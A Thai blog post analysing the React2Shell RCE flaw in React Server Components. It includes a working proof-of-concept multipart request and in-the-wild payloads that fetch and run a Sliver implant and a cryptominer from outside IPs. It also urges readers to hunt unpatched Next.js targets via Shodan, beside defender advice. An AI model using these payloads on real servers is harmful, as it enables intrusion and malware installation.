มันเกิดอะไรขึ้น?
ผมเขียนบทความนี้หลังจากที่นั่งอ่าน CVE-2025-55182 (React2Shell) วนไปมาอยู่หลายรอบ เพราะทุกครั้งที่อ่านก็เจอ layer ของความน่าสนใจที่ลึกขึ้นเรื่อย ๆ
สำหรับคนที่ยังไม่รู้เรื่องนี้:
React2Shell คือช่องโหว่ RCE (Remote Code Execution) ที่ร้ายแรงที่สุดช่องโหว่หนึ่งของ ecosystem React/Next.js เท่าที่เคยมีมา มันอยู่ที่ React Server Components (RSC) “Flight” protocol — protocol ที่ใช้ส่งข้อมูลระหว่าง server กับ client ใน framework สมัยใหม่อย่าง Next.js เวลาเราใช้ App Router
CVSS score: 10/10
เชี่ยยยยยย
Offensive Security ในแง่มุมของผม
ก่อนจะลง technical detail ขอตั้ง frame ก่อน: Offensive security สำหรับผมไม่ใช่แค่การหาช่องโหว่หรือเขียน exploit มันคือ ความเข้าใจใน mindset ของ attacker ว่าพวกเค้ามองระบบยังไง และ leverage จุดบอดที่ระบบออกแบบเผื่อไว้ยังไง
CVE-2025-55182 คือตัวอย่างที่ perfect ที่สุดของการที่ ระบบที่ออกแบบมาดีอยู่แล้ว แต่มี logical flaw เล็ก ๆ จุดเดียว ก็พังได้ทั้งระบบ
Technical Deep Dive
(สำหรับคนที่อยากเข้าใจจริง ๆ)
มันอยู่ตรงไหน?
ช่องโหว่อยู่ใน react-server-dom-webpack, react-server-dom-turbopack, และ react-server-dom-parcel — library ที่ทำหน้าที่ serialize/deserialize RSC payload ระหว่าง server กับ client
ชื่อ “Flight” protocol คือ protocol ที่ React ใช้ส่ง Server Components ที่ render บน server แล้วส่งผลลัพธ์ไปให้ client แบบ streaming
ทำไมมันถึง work?
จาก patch ที่ React ส่งออกมาใน PR #35277:
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = parcelRequire(metadata[ID]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+ return moduleExports[metadata[NAME]];
+ }
+ return (undefined: any);
}
เห็นอะไรไหม?
บรรทัดที่โดนลบ return moduleExports[metadata[NAME]] — มัน return property โดยไม่ได้ check ว่า property นั้นมีอยู่จริงไหม
ซึ่งฟังดูเหมือนมักง่ายแบบปกติแต่มันคือ server-side prototype pollution ในรูปแบบที่ผู้โจมตีสามารถควบคุม deserialization flow ได้
ผู้โจมตีส่ง crafted multipart form request ไปยัง endpoint ที่รับ RSC payload โดยใช้ __proto__ manipulation เพื่อให้ JavaScript engine เกิด prototype pollution แล้วจากนั้นก็ใช้ constructor:constructor chaining เพื่อไปถึง process.mainModule.require('child_process').execSync()
Proof of Concept (ย่อ)
POST / HTTP/1.1
Host: target
Next-Action: x
Content-Type: multipart/form-data; boundary=...
--boundary
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,
"value":"{\"then\":\"$B1337\"}","_response":{
"_prefix":"process.mainModule.require('child_process').execSync('id > /tmp/pwned');",
"_formData":{"get":"$1:constructor:constructor"}}}
--boundary
Content-Disposition: form-data; name="1"
"$@0"
--boundary--
แล้ว /tmp/pwned ก็จะมี uid=0(root) gid=0(root) groups=0(root)
ไม่ต้อง auth ไม่ต้อง config พิเศษ ไม่ต้องมี action handler ด้วยซ้ำ — request เดียว shell.
ผมอ่านตรงนี้แล้วต้องวางจอพักสายตา
ทำไมมันถึงเป็นเรื่อง!
1. มันมีคนใช้เยอะ…
Wiz บอกว่า 39% ของ cloud environments มี React/Next.js ที่ vulnerable
69% ของ environments มี Next.js
44% มี public-facing Next.js instances
ตัวเลขนี้หมายความว่า — ถ้าคุณเป็น red teamer ที่กำลังหา target อยู่ ให้ลอง search Shodan/Censys หา Next.js apps ถ้าเจอคนไม่ aware ก็โป๊ะเชะ
2. No Special Conditions Required
นี่คือสิ่งที่ทำให้ CVE-2025-55182 ถูกเทียบกับ Log4Shell (CVE-2021-44228):
-
- ไม่ต้องมี authentication
-
- default configuration ก็เจอ
-
- PoC หลังประกาศแค่ 2 วัน
-
- weaponized payloads เจอใน wild หลังประกาศแค่ 2-3 วัน
3. Supply Chain Impact
Next.js เป็น framework ที่ถูกใช้โดย:
-
- Vercel (ผู้สร้าง Next.js)
-
- AWS (Amplify, SST)
-
- Google Cloud (Cloud Run รวม Next.js)
-
- Cloudflare Pages
-
- Netlify
-
- และอื่น ๆ อีกมาก
หนึ่งช่องโหว่ = ส่งผลกระทบทั้ง ecosystem
สิ่งที่ Wiz, Datadog, GreyNoise และ AWS เห็นในโลกความจริง
timeline ที่น่าสนใจ:
| Date (Dec 2025) | Event |
|---|---|
| Dec 3, 00:00 UTC | Patch ถูก commit ใน facebook/react |
| Dec 3, 22:00 UTC | Scanning activity เริ่ม (Datadog telemetry) |
| Dec 4 | Moritz Sanft public functional PoC |
| Dec 5, 04:00 UTC | GreyNoise เริ่มเห็น mass scanning |
| Dec 5, 06:00 UTC | Cryptomining campaigns เริ่ม |
Payload ที่เจอในโลกจริงน่าสนใจมาก:
{
"_prefix": "process.mainModule.require('child_process').execSync(
'curl 45.77.33.136:8080/b.sh|sh'
);"
}
→ sliver malware framework (C2)
{
"_prefix": "var res=process.mainModule.require('child_process').execSync(
'((curl -sL http://45.32.158.54/5e51aff54626ef7f/x86_64 -o /tmp/x86_64;
chmod 777 /tmp/x86_64;
/tmp/x86_64) ...'
);..."
}
→ XMRig cryptominer (UPX packed)
และอีกมากมายที่พยายาม:
-
- Harvest credentials จาก env / filesystem / cloud metadata
-
- สร้าง reverse shell
-
- ขโมย .env file
-
- Post data ไปยัง C2 server
บอกได้คำเดียว: creativity ของ attacker ในเรื่องนี้มันน่ากลัวมาก
สำหรับ Red Teamer / Pentester: นี่คือโอกาส
ถ้าคุณอยู่ใน offensive security และกำลังหา Next.js targets อยู่ นี่คือสิ่งที่คุณควรรู้:
-
- มันเป็น easy win — ถ้าเจอ Next.js version < 16.0.7 (หรือ React react-server-dom < 19.2.1) คุณยิงแล้วเข้า
- มันเจอยาก— event อยู่ใน server-side JavaScript execution, logs อาจดูปกติถ้าไม่ได้ monitor child_process
- มันได้สิทธิสูง — ถ้า container/app รันเป็น root (ซึ่งบ่อยมากใน default deployment) ได้ shells เลย
สำหรับ Defender: สิ่งที่ต้องทำ
-
- Upgrade Now
— React → 19.0.1, 19.1.2, 19.2.1+
— Next.js → 14.x stable, 15.5.7+, 16.0.7+
- Upgrade Now
-
- Audit npm
npm audit
- Audit npm
-
- Check SBOM สำหรับ Next.js และ react-server-dom instances
-
- Monitor child_process spawn ใน container runtime logs
-
- WAF rules — block request ที่มี
__proto__:thenหรือconstructor:constructorpattern
- WAF rules — block request ที่มี
สิ่งที่ได้จาก Case นี้
กรณีที่ร้ายแรงที่สุดคือกรณีที่ attack surface เป็นของที่ใช้กันทุกคน
React ไม่ใช่ niche technology
Next.js ไม่ใช่ framework เล็ก ๆ
RSC protocol ไม่ใช่ experimental feature อีกต่อไป
มันคือ production standard ที่ใช้กันเป็น default
และนี่คือสิ่งที่ offensive security สอนผมซ้ำแล้วซ้ำเล่า — complexity จะสร้าง vulnerability เสมอ ยิ่ง system เยอะ abstraction layer เยอะ deserialization logic ซับซ้อน — โอกาสที่ บางคน จะหาให้เจอก็มีมากขึ้น
“In our experimentation, exploitation of this vulnerability had high fidelity, with a near 100% success rate.”
— Wiz Research
ปิดท้าย
CVE-2025-55182 คือ reminder ที่ดีว่า “Default is not safe” และ “Popular is not secure”
ผมคิดว่าสิ่งสำคัญที่สุดที่เรา (ทั้ง offensive และ defensive) ควร take away จาก case นี้คือ:
ความเหลวไหลที่แท้จริงไม่ใช่คนที่ใช้ tech เก่า แต่คือการคิดว่าใช้ระบบตามคนอื่น หรือคนอื่น ๆ เค้าก็ใช้กัน แล้วจะปลอดภัยต่อการถูกโจมตี
มึงใช้ Next.js อยู่ปะ?
ไปอัพเดทเถอะเดี๋ยวก็ชิน
Blog Categories
- 52.5 Hz
- I'm a Stupid Tourist
- Knowledge as a Services
- Run As you Go
- การเดินทางของความคิด
- จดหมายถึงตัวข้าพเจ้า
- วิถีแห่งกะหรี่
Blog Tags
big data BS100 cm6 crisis culture dream everest food forex hiking Kilimanjaro knowledge learning life Loop midlife movie Network podcast running scam series Tanzania thinking travel ultramarathon wifi การเดินทาง ความสุข ความเข้าใจ งานทดลอง จดหมายถึงตัวข้าพเจ้า ชักชวนให้อ่าน ต่างประเทศ ทรมานบันเทิง นั่งรถไฟไปขุนตาล บ่น วิ่ง วิ่งเทรล อารมณ์ อาหาร เชียงใหม่ เดินป่า/ปีนเขา เริ่มต้นเดินป่า เศษความคิด
Comments